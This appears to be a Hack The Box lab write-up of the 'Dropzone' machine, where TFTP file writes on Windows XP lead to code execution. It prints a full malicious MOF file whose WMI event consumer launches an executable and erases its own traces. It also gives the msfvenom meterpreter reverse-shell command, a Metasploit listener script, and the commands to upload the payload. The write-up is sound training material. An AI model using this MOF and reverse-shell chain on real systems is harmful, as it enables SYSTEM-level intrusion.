Tags: mof, alternate data streams, windows
I had a good time doing Dropzone. The backstory on Stuxnet and its use of MOF files (in addition to a lot of other things) is a great read and the surrounding topics of MOF and WMI are deep topics that are covered very well in a blog post referenced below. Even though there were a limited number of steps, I learned quite a bit and had a good laugh when root.txt informed me that my work was not done.
As usual, we start off with a masscan
followed by a targeted nmap
. What’s intersting here is that a single UDP port was reported open.
open udp 69 10.10.10.90 1534418237
PORT STATE SERVICE VERSION
69/udp open tftp SolarWinds Free tftpd
There weren’t a whole lot of options for a way forward on this box. We were limited to a single UDP port with the ability to read from / write to the filesystem. The key was to leverage that limited capability into RCE. Enter Managed Object Format (MOF) files.
There is an excellent write-up on MOF files and how they were used by Stuxnet here. If the topic is new to you, please take a look there. Any explanation of mine will pale in comparison. When reading through that write-up, you’ll notice that Windows XP exhibits some interesting behavior regarding MOF files and Windows Management Instrumentation (WMI).
C:\windows\system32\wbem\mof
are auto compiled and registered into the WMI repositoryThese two things together are a good indicator of the way forward, given our current situation. However, it would be good if we could confirm that we’re actually dealing with a Windows XP machine before proceeding.
Because we can only read from the filesystem via tftp
, we can check the Windows version and service pack by grabbing the End-User License Agreement. There are two places to check for this (that vary based on version).
On Windows XP it’s found at C:\windows\system32\eula.txt
.
Windows 7 stores the EULA at C:\Windows\System32\license.rtf
.
We can use our current access to grab the EULA and verify that we’re dealing with Windows XP.
tftp
connect 10.10.10.90
verbose
get windows/system32/eula.txt
/root/htb/dropzone/eula.txt
════════════════════════════
END-USER LICENSE AGREEMENT FOR MICROSOFT
SOFTWARE
MICROSOFT WINDOWS XP PROFESSIONAL EDITION
SERVICE PACK 3
IMPORTANT-READ CAREFULLY: This End-User
License Agreement ('EULA') is a legal
-------------8<-------------
Now we know that we’re dealing with Windows XP SP 3 and can move forward with our malicious MOF plan.
To generate a malicious MOF file, I pored over blog posts. I read through Microsoft developer docs. I altered, tweaked, uploaded, and failed. Many times. Though, while researching, I found an interesting file in the metasploit framework, wbemexec.rb. This file was the golden ticket for me.
I tell you about my failures, because in the end, I cheesed it. The file linked above contains a function called generate_mof
. I took the template MOF it kept for use inside MSF and replaced code in the same places that metasploit would in order to generate a final payload.
The code below is my final callback.mof
. I really only had to change the name of the class and the executeable to run as shown in the highlighted code below.
1#pragma namespace("\\\\.\\root\\cimv2")
2class StuffAndThings
3{
4 [key] string Name;
5};
6class ActiveScriptEventConsumer : __EventConsumer
7{
8 [key] string Name;
9 [not_null] string ScriptingEngine;
10 string ScriptFileName;
11 [template] string ScriptText;
12 uint32 KillTimeout;
13};
14instance of __Win32Provider as $P
15{
16 Name = "ActiveScriptEventConsumer";
17 CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
18 PerUserInitialization = TRUE;
19};
20instance of __EventConsumerProviderRegistration
21{
22 Provider = $P;
23 ConsumerClassNames = {"ActiveScriptEventConsumer"};
24};
25Instance of ActiveScriptEventConsumer as $cons
26{
27 Name = "ASEC";
28 ScriptingEngine = "JScript";
29 ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"C:\\callback.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"StuffAndThings\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";
30};
31instance of __EventFilter as $Filt
32{
33 Name = "instfilt";
34 Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"StuffAndThings\"";
35 QueryLanguage = "WQL";
36};
37
38instance of __FilterToConsumerBinding as $bind
39{
40 Consumer = $cons;
41 Filter = $Filt;
42};
43
44instance of StuffAndThings as $MyClass
45{
46 Name = "ClassConsumer";
47};
Before we register our MOF file, we need to create the callback executable, get it onto the box, and start a listener.
We can use msfvenom
to generate a quick meterpreter executable.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=12345 -o callback.exe -f exe
A quick tftp
will get callback.exe
in place.
tftp
tftp> connect 10.10.10.90
tftp> binary
tftp> verbose
Verbose mode on.
tftp> put callback.exe
putting callback.exe to 10.10.10.90:callback.exe [octet]
Sent 73802 bytes in 10.0 seconds [59042 bits/sec]
I don’t use msfconsole very often, but if I do, I like to have the steps I take within it be easily repeatable. I do this by capturing the steps in a resource file. That resource file can then be used to quickly spin up a listener for this box.
/root/htb/dropzone/dropzone.msf
════════════════════════════
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 12345
exploit -j
msfconsole -r dropzone.msf
[*] Processing dropzone.msf for ERB directives.
resource (dropzone.msf)> use multi/handler
resource (dropzone.msf)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (dropzone.msf)> set lhost tun0
lhost => tun0
resource (dropzone.msf)> set lport 12345
lport => 12345
resource (dropzone.msf)> exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.13:12345
With all the necessary pieces in place, we can upload our MOF file to the box. Recall the path to the folder where MOF files are automatically compiled is C:\windows\system32\wbem\mof
. We’ll reuse our tftp
connection to drop our MOF file there in the hopes that we receive a callback.
tftp> put callback.mof windows/system32/wbem/mof/callback.mof
putting callback.mof to 10.10.10.90:windows/system32/wbem/mof/callback.mof [octet]
Sent 1378 bytes in 0.3 seconds [36747 bits/sec]
Almost instantly, we get a callback.
[*] Sending stage (179779 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.14.13:12345 -> 10.10.10.90:1986) at 2018-11-01 21:14:19 -0500
\o/ - access level: SYSTEM
It seems that the creators felt that dropping onto a box as SYSTEM was a little too easy because where we would normally see root.txt
, we are instead greeted with this message.
C:\docume~1\administrator\desktop\root.txt
════════════════════════════
It's easy, but not THAT easy...
Also on the desktop, there is a folder named flags
. Inside there is a file named 2 for the price of 1!.txt
. Here are the contents.
C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt
════════════════════════════
For limited time only!
Keep an eye on our ADS for new offers & discounts!
The ADS in the file above is a pretty strong hint pointing us toward alternate data streams. Luckily for us, there is a great sysinternals tool streams.exe
that is made specifically for examining alternate data streams. Let’s get it on target and see what there is to see.
meterpreter > upload /usr/share/windows-binaries/sysinternals5/streams.exe
C:\> streams.exe -accepteula -s C:\docume~1\administrator\desktop\flags
Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt:
:root_txt_331...:$DATA 5
:user_txt_a6a...:$DATA 5
\o/ - 2 for 1
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.